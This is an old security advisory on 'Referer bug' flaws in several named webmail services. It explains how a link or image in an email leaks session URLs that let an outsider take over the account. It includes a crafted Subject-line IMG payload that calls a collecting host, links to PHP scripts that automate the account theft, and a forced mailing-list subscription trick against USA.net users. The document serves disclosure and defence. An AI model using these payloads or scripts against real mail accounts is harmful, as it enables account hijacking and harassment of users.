COMMAND
WebMail sites
SYSTEMS AFFECTED
Multiple WebMail Vendor Vulnerabilities
PROBLEM
CDI found following. After almost three years of continued
harping by the security community, too many 'Web Based Email'
(WebMail) providers are -still- vulnerable to very well
documented security flaws, specifically, the 'Referer Bug'. More
info about these bugs at:
NetAddress patches email bug - May 6, 1997
http://news.cnet.com/news/0-1005-200-318740.html
BellSouth stamps out email bug - Aug 28, 1998
http://news.cnet.com/news/0-1003-200-332714.html
Hotmail, Excite have privacy hole - June 29, 1998
http://news.cnet.com/news/0-1003-200-330770.html
Whenever you visit a web site by following a link from another
web site, a Referer is generated and stored on the visited site.
The referer contains the exact URL of where the visitor came
from. If the link they followed was embedded in an email, it is
possible that the Referer will contain sufficient information to
allow an intruder to compromise the WebMail provider's application
and gain unauthorized access to the victim's email. In many
cases, the compromise can be automated in such a way that an
intruder can penetrate an account the moment the victim reads
their email. Effected implementations are mentioned below.
Critical Path Inc., Third-party provider
========================================
Critical Path supplies web based email systems to other companies.
Some, but most certainly not all CP implementations are being
effected by this bug.
Test host: Canada.com (Canada-centric Portal).
Exploit: All CP implementations attempt to wrap links within
email in an attempt to prevent this bug from effecting the user.
HTML embedded directly into an email to a CP host will not effect
the victim. However, CP's parser does not attempt to parse
attachments. An email sent which contains a text/html attachment
in MIME (Base64) encoding will not be parsed. When the victim
views the attachment, the referer bug strikes. CP was contacted
about this bug on Jan 5th. To date, Canada.com is still
vulnerable, which implies there are others out there as well.
A wrapper implementation looks at each incoming email. Any link
found in the email which leads offsite will be "wrapped". An
example;
original: http://www.example.com/
wrapped : http://www.cp.net/cgi-bin/wrapper?http://www.example.com/
The wrapper CGI in this instance foils the Referer bug by changing
the Referer to itself. In most cases, the resultant referer is
identical to the 'wrapped' URL shown above. This method of
preventing the bug is effective, but certainly not perfect.
During my testing, Cookies proved to be the big show stopper.
Side note: Although some people consider Javascript execution
within a webmail interface to be a bug, some don't. Regardless,
CP hosts that are effected by the referer bug will also allow you
to run Javascript.
Go-Hip.com / BigMailBox.com - Third-party provider
==================================================
Similar to CP, GoHip provides web based email solutions to third
parties.
Known Affected: Antionline.org
Exploit: GoHip/BigMailBox make no effort at all to prevent this
bug. Send HTML email to a user with an IMG SRC image tag. The
moment the victim reads their email they are compromised.
(Provided they automatically load images - most do).
GoHip/BigMailBox also allows the execution of Javascript within
the email.
MyRealBox.com - Stand-alone Provider, still in Beta
===================================================
They are definitely vulnerable to a referer bug, but they are
still in Beta. Also, the URL they leave behind in your referer
logs needs to be massaged a little bit to make the exploit work.
Why not document what is needed here to exploit the bug? Becuase
they're in Beta and bugs should be expected.
Loadmail.com - Third-party Provider
===================================
Minimal vulnerability. Although the referer is protected by
cookies if the link originates from within an email, the same is
not true for email attachments. Attachments provide a referer
that can be used, but only to view that attachment. The caveat to
all of this is that although the main account is protected by
authentication cookies, the attachment can be used to execute
arbitrary Javascript commands - like commands that would grab the
cookies needed to compromise the account.
DotCool.com - Stand-alone provider (Portal)
===========================================
Trivial to compromise. The referer is wide open and no attempt is
made to protect it. No attachments needed - send your HTML email
and rest assured the victim will be compromised. It's slightly
more difficult for an automated compromise as the mail-retrieval
host uses a non-standard port (8383) to retrieve it's email. If
the payload is sent as an attachment, one can induce Dotcool to
execute Javascript.
Ghostmail.com - Third-party provider
====================================
Of all the ones compromised, these guys were the most difficult.
Attachments and the email itself has all HTML converted over into
plain text with HTML entities replacing all instances of '<' and
'>', rendering any embedded HTML inert, including attachments.
HTML entities are a way to have the browser display characters
that would otherwise be invisible to the user of the browser,
like converting '<' to '&#lt;' and converting '>' to '&#gt;' By
rendering ALL html within an email, it renders any potential
exploit harmless.
Kudos to Ghostmail for taking this stand since it renders any
potential exploit useless. Unfortunately, they don't bother to
take the same precaution with the Subject: header of the email.
A carefully crafted Subject line will produce the desired referer.
An IMG SRC tag with a short URL works best.
Example: </A><IMG SRC="http://3464267555/1.php3">
The closing </A> is needed to prevent the ghostmail parser from
trashing our HTML in favor of it's own. The decimal IP is used to
shorten the URL as much as possible.. If it's too long ghostmail's
parser will truncate (and break) our HTML. The URL above is
valid and points to the image.php3 file mentioned below.
USA.net / NetAddress
====================
Long ago, NetAddress fixed their Referer Bug and it remains fixed
to this day. They receive a mention here because of a different
kind of problem entirely. During the sign-up phase for a new
account, the user is presented with 33 possible mailing lists,
special offers and what-not that they can subscribe to. The form
used to accept and sign a USA.net user up to these lists carries
no authentication tokens at all. In short, if you know the email
address of a USA.net user, you can sign them up for all 33
offerings by submitting the form using their email address. A
miniature list-bomb ensues. The beauty of this is that even if
the victim unsubscribes from all the lists, you can re-subscribe
them with the click of a mouse.
To automate the theft of account information, CDI wrote up a
couple of PHP scripts. They're not very smart, but they'll take
whatever referer they are given and try to grab whatever
information they can using that referer. If you want to test send
yourself an email with a link to:
http://www.thewebmasters.net/webmail/index.phtml
You are forewarned, all access to this script, including whatever
it manages to get, is logged. If you have access to a PHP enabled
server, you can grab the source at
http://www.thewebmasters.net/webmail/index.phps
and modify it to your heart's content. If you want to try your
luck with getting an image link through, then send yourself an
email with an IMG SRC tag pointing to:
http://www.thewebmasters.net/webmail/image.php3
(Source is image.phps) It's identical to the other script,
including the logging, with the exception being that if it finds
a referer, it displays a 'success' gif. If it does NOT get any
referer at all, you get a 'failed' gif. Please note, the
'success' does not indicate that it compromised your account -
only that it got a referer of some kind.
Please note that such wrappers should produce normal HTML pages
with hyperlinks and HTTP-EQUIV "client pull" tags. If the wrapper
simply uses a Location: redirect, many clients will send the URL
of the original page, not the URL of the intermediate wrapper
(verified in Netscape 4.7 and MSIE 4.0). For things like this
click-through wrapper, this behavior is important to understand.
This allows helpful/good things like browsers telling what the
last page really was when the user follows a server side image
map; having a referer like
http://bignewssite.example.com/headlines.map?1,2
is not as helpful as
http://bignewssite.example.com/daily/12jan/sportsnews.html
Example 1:
http://mail.example.com/foo
contains link to http://mail.example.com/redir?http://example.org/
http://mail.example.com/redir?http://example.org/
uses Location: to redirect client to http://example.org/
http://example.org/
sees HTTP_REFERER as "http://mail.example.com/foo"
Example 2:
http://mail.example.com/foo
contains link to http://mail.example.com/redir?http://example.org/
http://mail.example.com/redir?http://example.org/
creates HTML page with <META HTTP-EQUIV=refresh CONTENT="1; url=http://example.org/">
http://example.org/
HTTP_REFERER is either empty[1] or contains "http://mail.example.com/redir?http://example.org/"
Which also means you probably want to be careful what your wrapper
puts in the CONTENT attribute of the client-pull tag. Of course
all this depends on the behavior of the browser.
For Netscape 4.7 and MSIE 4.0, if the user's browser follows the
client-pull META tag, the browser will not send *any* Referer
header to http://example.org/; but if the wrapper creates a normal
<A HREF="..."> hyperlink, the browser will send the URL of the
wrapper to the server handling http://example.org/. So a
client-pull with a short delay in the CONTENT attribute is most
likely to anonymize the hyperlink.
SOLUTION
Option 1: Stop treating your email like a web page, and if you do
decide to treat your email like a web page, don't be surprised
when someone else decides to treat your email like a web page.
Option 2: Disable Java, Javascript, Active Scripting, and
Automatic Image Loading. That's right - make your browser as dumb
as a post - but it won't help any, you're still vulnerable to this
bug. (Option 1 sure does look nicer now, doesn't it?)